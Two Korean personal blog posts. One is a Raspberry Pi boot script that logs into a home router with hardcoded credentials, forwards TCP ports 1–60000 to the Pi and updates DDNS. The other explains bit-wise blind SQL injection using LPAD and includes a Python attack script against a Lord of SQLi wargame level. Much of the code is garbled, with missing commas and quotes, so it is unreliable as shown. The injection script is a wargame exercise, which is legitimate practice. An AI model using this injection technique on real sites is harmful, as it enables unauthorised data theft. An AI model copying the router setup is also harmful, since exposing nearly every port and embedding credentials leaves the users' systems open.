dns관리는 https://dnszi.com/ 를 사용

python 코드 내용 (공유기는 ktwlan)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import httplib, urllib, base64, socket, time
 
time.sleep(20)
 
= socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(('google.com'0))
ip = s.getsockname()[0]
 
headers = {"Authorization" : "Basic a3R1c2VyOm1lZ2FhcA=="}
conn = httplib.HTTPConnection("172.30.1.254")
conn.request("GET""/user/log_through.asp",headers=headers)
response = conn.getresponse()
data = response.read()
conn.close()
 
params = {'fw_del' : 1,'Mac_port_countfw_add':1,'selectport':'ON','select1':'ON'}
params = urllib.urlencode(params)
headers = {"Content-type""application/x-www-form-urlencoded""Accept""text/plain"}
conn = httplib.HTTPConnection("172.30.1.254")
conn.request("POST""/goform/formPortFw_KT", params, headers)
response = conn.getresponse()
data = response.read()
conn.close()
time.sleep(15)
 
params = {'SvrPortFrom':'1','SvrPortTo':'60000','LocalIP':ip,'LocalPortFrom':'1','LocalPortTo':'60000','fwProtocol':'tcp','fw_add':'1','Mac_port_countfw_add':'0','submit-url':'..%2Fuser%2Fkt_page5_1.aspect'}
params = urllib.urlencode(params)
headers = {"Content-type""application/x-www-form-urlencoded""Accept""text/plain"}
conn = httplib.HTTPConnection("172.30.1.254")
conn.request("POST""/goform/formPortFw_KT", params, headers)
response = conn.getresponse()
data = response.read()
conn.close() 

cs

1
2
3
root@raspberrypi:~# cat /etc/rc.local 
/bin/sh/usr/bin/python2.7 /root/start.py
/usr/bin/wget -q -O - 'http://ddns.dnszi.com/set.html?user=unknown84&auth=kkkkkk&domain=kkkkkk&record='
cs


'기타' 카테고리의 다른 글

windows 10 bash ssh  (0) 2016.12.28
X64 asm argv  (0) 2016.12.26
geocoding excel (python) web  (0) 2016.02.04
asm  (0) 2015.10.11
blind sql injection lpad  (0) 2015.04.10

LPAD 함수는 문자열이 일정 길이(byte)가 될 때까지 왼쪽에 특정 문자를 덧붙인다.

예시
select lpad('hi',5,'!'); => !!!hi


blind sql injection을 할때 substr(pw,1,1)='a',substr(pw,1,1)='b' 이런 식으로 하게 된다면 한글자당
최대 26+10+a (영어,숫자,그 외)번씩 해야된다.

substr(bin(ord(substr(pw,1,1))),1,1)='0',substr(bin(ord(substr(pw,1,1))),1,1)='1' 이런식으로 하면
최대 한글자당 255바이트 > 00000000 를 0과 1로 비교해야되기 때문에 16번을 해야된다
예시
bin(ord(substr('a',1,1))) 

>>> ord('a')
97

>>> bin(97)
'0b1100001'

1100001 이렇게 나오게 되는데 몇자리인지 알 수 없기때문에 0과 1을 비교해서 끝났는지 확인해야한다.

여기에 lpad를 쓰게 된다면

항상 8자리로 나오게 된다
그래서  lpad(
substr(bin(ord(substr(pw,1,1))),1,1),8,'0')='0' 이렇게 비교하는 것을 8번만 하면 된다.


파이썬으로 los의 orc문제 공격 소스를 짜보았다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
 
 
 
key=""
site=""
q=0
w=1
header={'Cookie':'PHPSESSID=r61vovdv575f76k81pgh6oj301'}
for j in range(1,10):
        for i in reversed(range(1,9)):
                site="http://leaveret.kr/los/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw="
                site+="%27or%20id=%27admin%27and%20if("
                site+="substr(lpad(bin(ord(substr(pw,"+str(j)+",1))),8,0),"+str(i)+",1)='1'"
                site+=",1,0)%23"
                print site
                r=requests.put(site,headers=header)
                
                if "<br><h2>Hello admin" in r.text:
                  q+=w
                w=w*2
        key+=chr(q)
        print "\nkey"+key+"\n"
        q=0
        w=1
                
print "\n\n\nF\nKey is :"+key+" \n\n\n"
cs

http://unknown84.tistory.com/7
앞서 만들었던 blind sql injection에서는 43*9 (91-48 * 10-1)번 했던것을
lpad를 사용하면 8*9만에 할 수 있다.

+ 앞에서는 '=' 을 이용해서 비교했기 때문에 대소문자 구분이 안됬지만 lpad를 사용해서 하면 대소문자 구분도 된다.

'기타' 카테고리의 다른 글

windows 10 bash ssh  (0) 2016.12.28
X64 asm argv  (0) 2016.12.26
geocoding excel (python) web  (0) 2016.02.04
라즈베리파이 부팅시 자동으로 dns설정 , 공유기 설정  (0) 2016.01.21
asm  (0) 2015.10.11

+ Recent posts